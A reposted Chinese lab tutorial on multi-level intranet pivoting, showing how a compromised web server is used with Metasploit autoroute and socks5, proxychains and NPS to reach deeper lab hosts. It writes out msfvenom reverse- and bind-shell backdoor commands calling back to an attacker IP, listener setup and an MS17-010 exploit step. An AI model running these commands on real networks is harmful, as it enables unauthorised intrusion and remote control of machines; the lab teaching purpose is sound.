内网代理技术:利用Metasploit和NPS实现多级代理访问

间隙填充
正睿科技  发布时间:2024-08-14 14:28:10  浏览数:1226

关于正睿.png

前言

在我们的内网渗透中,我们往往是通过拿下Web服务器的权限,再通过Web服务器做一个跳板来做横向渗透。我们知道在我们拿下的Web的服务器上做一些横向渗透是有点困难的,因为在Web这台机器上没有我们平常渗透常用的一些渗透工具,故横向渗透非常的困难,假如我们可以直接用我们自己的电脑做攻击机就可以让我们在渗透的过程中得心应手。但是我们知道我们想要拿到的服务器在内网之中,我们无法通过互联网去直接访问它,这种时候我们又想控制它,我们就需要借助一些代理技术来辅助我们去完成直接控制内网机器的过程。

环境搭建

这里借助一个红日团队开源的一个红队实战测试的部分来完成本次环境搭建,靶机下载地址如下:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

环境搭建

这里借助一个红日团队开源的一个红队实战测试的部分来完成本次环境搭建,靶机下载地址如下:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

对本靶场环境做出一些修改之后,最终环境如下所示

黑客攻击机:kali、windows10

网卡IP:192.168.178.128
网卡IP:192.168.178.1

Web服务器:windows7系统

外网网卡IP:192.168.178.133
内网网卡IP:192.168.52.143

域控服务器:windows server 2008系统

网卡IP:192.168.52.138

网络互通状况

kali、windows10可以ping通windows7的外网网卡,ping不通内网网卡
windows7可以ping通kali、windows10和windows server 2008
windows server 2008 ping不通windows7、kali和windows10

MSF

首先我们通过windows7开放的Web服务先拿下Web服务器的权限,这里主要写的是代理的知识,拿Web权限就不在过多阐述。

1723616402127022785.png

拿到Web权限之后,我们可以利用msfvenom生成一个后门,然后利用Web权限进行上传。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.178.128 lport=4444 -f exe >shell.exe

上传之后在kali上配置监听,拿服务器权限。

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.178.128

a0737b8621e8e8d8008ac635e9e30c0e[1].png

拿到Web服务器权限之后,我们可以通过这个Web服务器的shell来做一些内网上的渗透,但是我如果想直接通过我们kali攻击机去访问到windwos server 2008我们该怎么去做呢。我们知道我们的kali是无法ping通windwos server 2008,因为windwos server 2008它是不出网的,想要访问到windwos server 2008这里就要借助一些代理知识来辅助我们了。

本篇我们先借助MSF来实现代理功能

在拿到meterpreter权限之后,我们可以使用如下命令来查看一下网络中的路由信息

meterpreter > run get_local_subnets

792897c7f47f2008cda7189e8f8405bf[1].png

我们kali所属的网段是192.168.178.0的网段,这里还有一个192.168.52.0的网段,所以这时我们就可以利用MSF中的扫描模块对52网段进行一波扫描实现主机发现,这里我们根据上文环境搭建部分,已经知道内网中还存在一台192.168.52.138 IP的windwos server 2008。

那么我们可以在这里添加一条指向52网段的路由,如下。

meterpreter > run autoroute -s 192.168.52.0/255.255.255.0

1723616422038022110[1].png

然后使用如下命令查看session中的路由。

meterpreter > run autoroute -p

1723616422258025853[1].png

在session存在路由了之后,我们可以使用一个代理socks的代理模块

msf5 exploit(multi/handler) > use auxiliary/server/socks5
msf5 auxiliary(server/socks5) > set srvhost 192.168.178.128  #本处设置IP为kali攻击机IP

1723616422476007285[1].png

配置好了socks代理,我们可以借助一款kali上自带的全局代理软件proxychains来连接socks代理

首先我们对proxychains代理软件进行配置

vim /etc/proxychains.conf

在末尾添加socks代理的映射关系(且与在MSF上配置的相对应)

1723616422507011003[1].png

配置好之后,我们就可以通过proxychains来访问到内网中的windwos server 2008这台服务器了。

1723616422507075316[1].png

如此,我们就还可以生成一个正向的木马,然后通过一些漏洞上传到windwos server 2008上,再利用proxychains来启动MSF配置监听,来达到利用kali接受到内网中windows server 2008这台服务器的shell。

NPS代理攻击

除了MSF之外还有许多现成的代理工具如Frp、NPS、EarthWorm、reGeorg等等,这些代理工具使用方法都大同小异,由于本人经常使用NPS,故下文主要演示一下NPS的使用。

NPS是一款轻量级、高性能、功能强大的内网穿透代理服务器,它几乎支持所有协议,其还支持内网http代理、内网socks5代理、p2p等等。NPS相比其他代理工具其具有简洁且功能强大的WEB管理界面,支持服务端、客户端同时控制,扩展功能强大。

下载地址

https://github.com/fatedier/frp
https://ehang-io.github.io/nps/#/   #官方使用文档

这里存在对应版本的客户端和服务端,可以都下载下来。

1723616422539092491[1].png

首先我们通过windows7开放的Web服务先拿下Web服务器的权限,这里主要写的是代理的知识,拿Web权限就不在过多阐述。

1723616469919097757.png

拿到Web权限之后,我们可以利用msfvenom生成一个后门,然后利用Web权限进行上传。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.178.128 lport=4444 -f exe >shell.exe

上传之后在kali上配置监听,拿服务器权限。

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.178.128

1723616422554022912[1].png

然后我们可以把我们下载好的对应版本的NPS客户端上传到这台Web服务器上。

D:\tools\nps\windows_386_server>nps install

1723616422570022652[1].png

上传好之后,我们可以在攻击机windows10上启动NPS服务端,首先以管理员权限启动cmd,然后执行如下命令进行NPS的初始化安装

D:\tools\nps\windows_386_server>nps install

1723616481210037987.png

然后启动即可

D:\tools\nps\windows_386_server>nps.exe start

启动好之后,我们可以输入本地IP+8080端口进行访问WEB客户端

1723616485956019096.png

输入默认账号admin,密码123进入管理页面

1723616491752069534.png

进入管理页面之后,我们可以新增一个客户端

1723616497374010667.png

然后根据提示添加相关信息即可

1723616502558004338.png

添加好一个客户端之后,我们可以在windwos7那台Web服务器上用我们之前上传的NPS客户端软件进行连接,连接命令如下图

1723616506837053078.png

1723616422944063529[1].png

执行命令之后,我们就可以回到我们的WEB界面,可以看到一个客户端已经进行连接

1723616515207068238.png

连接成功之后,我们可以新增一个socks5的代理

1723616519314055435.png

配置好客户端id,和服务端端口等信息(id为上图中所创建的客户端id号)

1723616422991027914[1].png

点击新增后,即可发现已经创建号socks5的代理

1723616528948079318.png

那么接下来,我们可以通过这个socks5的代理,对内网windwos server 2008的服务器进行访问一下。

我们可以利用SwitchyOmega配置socks5代理对内网中的windwos server 2008的Web服务进行访问

1723616534791002997.png

添加代理后可以对windwos server 2008的Web服务进行正常访问

1723616541568092767.png

当然我们还可以借助Proxifier这款软件做一个socks5的全局代理

1723616423210017103[1].png

1723616553780064261.png

配置好之后,也可以对其进行访问

1723616562026038688.png

1723616423616088548[1].png

多级代理

在有些内网环境中,它的内网环境分为好几层,我们必须通过拿到一层内网中服务器的权限之后再通过这一内网中的服务器进一步访问二层内网中的其他服务器。在这种环境中,我们就需要多级代理突破层层内网,来实现在内网中漫游。

环境搭建

本次实验环境借助一个CFS三层的靶机,靶机下载地址如下

【CFS三层靶机环境】百度网盘链接:
链接: https://pan.baidu.com/s/1LJueA-X02K7HZXr8QsOmeg
提取码: dkcp
解压密码:teamssix.com

网络拓扑图如下(子网掩码都为24位)

1723616423632068897[1].png

在该网络拓扑中178网段模拟的是外网环境,239网段为第一层内网,154网段为第二层内网,每一个target靶机中都存放着一个flag,最终目的是要拿到所有目标靶机中的flag,当然我们这讨论的是代理知识,所以flag我们就忽略掉。

首先用nmap对178网段中存活主机做一个探测

1723616423663013964[1].png

可以发现在178网段中存在一个142的地址,也就是centos7的地址,发现142可以再利用nmap对其进行一个系统扫描

1723616423897029954[1].png

其中开放这80端口,我们可以对他的80端口进行一个访问,最终是会发现存在一个Think PHP

1723616591309058032.png

该版本存在一个RCE执行,这里利用工具进行一键get shell

1723616423959079245[1].png

然后蚁剑链接

1723616600382025580.png

连接之后,我们利用msfvenom创建一个后门

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.178.128 lport=4444 -f elf >shell.elf

通过web shell上传到target 1服务器上,然后在kali上配置监听

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.178.128

执行后门拿下target 1服务器权限

1723616423990029963[1].png

在拿到meterpreter权限之后,我们可以 run get_local_subnets 查看一下网络中的路由信息

meterpreter > run autoroute -s 192.168.239.0/24

1723616423990029775[1].png

然后使用 run autoroute -p 查看session中的路由是否添加成功。

1723616424006043595[1].png

发现已存在,接下来我们使用一个socks5代理模块


///

msf5 exploit(multi/handler) > use auxiliary/server/socks5

然后配置好ip,run启动

1723616424022039439[1].png

配置好了socks代理,我们可以借助一款kali上自带的全局代理软件proxychains来连接socks代理

首先我们对proxychains代理软件进行配置

vim /etc/proxychains.conf

在末尾添加socks代理的映射关系(且与在MSF上配置的相对应)

1723616424053072164[1].png

配置好后,我们利用代理软件来启动nmap对239网段中存活主机做一个探测

proxychains nmap -sT -p80 192.168.239.1/24   #正常不能添加-p参数,这里为上帝视角知道239网段中129主机启动着一个web服务,目的是让扫描快一点

1723616424068002095[1].png

扫描到239网段中的129地址,接下来和之前一样对其进行一个系统的扫描,访问web服务,web服务中存在sql注入然后拿下web权限(target2拿web权限的操作省略),拿下权限通过msfvenom创建后门进行上传,但是此处的后门要生成一个正向的后门。

msfvenom -p linux/x64/meterpreter/bind_tcp lport=1234 -f elf >shell2.elf

此处为什么要生成一个正向的木马呢,我们在这分析一下,这里再放下拓扑图,方便理解。

1723616424084085379[1].png

我们拿下了target2的web权限,加入这是我们上传的是反向的木马,那么target2就要去寻找我们kali的路由,但是target2主机中没有kali的路由,那么就会导致我们的反弹shell失败,之后我们再来看看正向的。

我们生成了一个正向的木马,我们的kali攻击机就会去主动寻找target2的服务器,这个时候我们应为做了一个socks5的代理,我们的流量会通过kali的ip的1080端口代理给target1,然后target1中是存在239网段中的路由的,所以我们可以正常进行连接。

理解好之后,之后的操作就很简单了,通过我们通过sql注入拿到的web权限上传木马,然后在kali上利用proxychains启动msfconsole

root@root:~/桌面# proxychains msfconsole

然后配置监听

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set lport 1234
msf5 exploit(multi/handler) > set rhost 192.168.239.129

执行木马即可拿下第二层主机服务器权限

1723616424115092112[1].png

拿下第二层之后,之后操作大同小异,添加路由,探测第三层存活主机,发现192.168.154.129的ip,然后该台机器存在永恒之蓝漏洞,利用ms17-010拿下第三层权限

msf5 exploit(multi/handler) > use exploit/windows/smb/ms17_010_psexec

msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp

1723616424162048879[1].png

至此三个靶机中的flag都可以找到。

疑问没解决? 我们帮您!

如果您在本文中未能找到解决当前疑问的办法,不用担心——正睿专业技术支持团队随时待命

服务项目.png

获取更多帮助

文章来源:阿里云开发者社区 作者:随风kali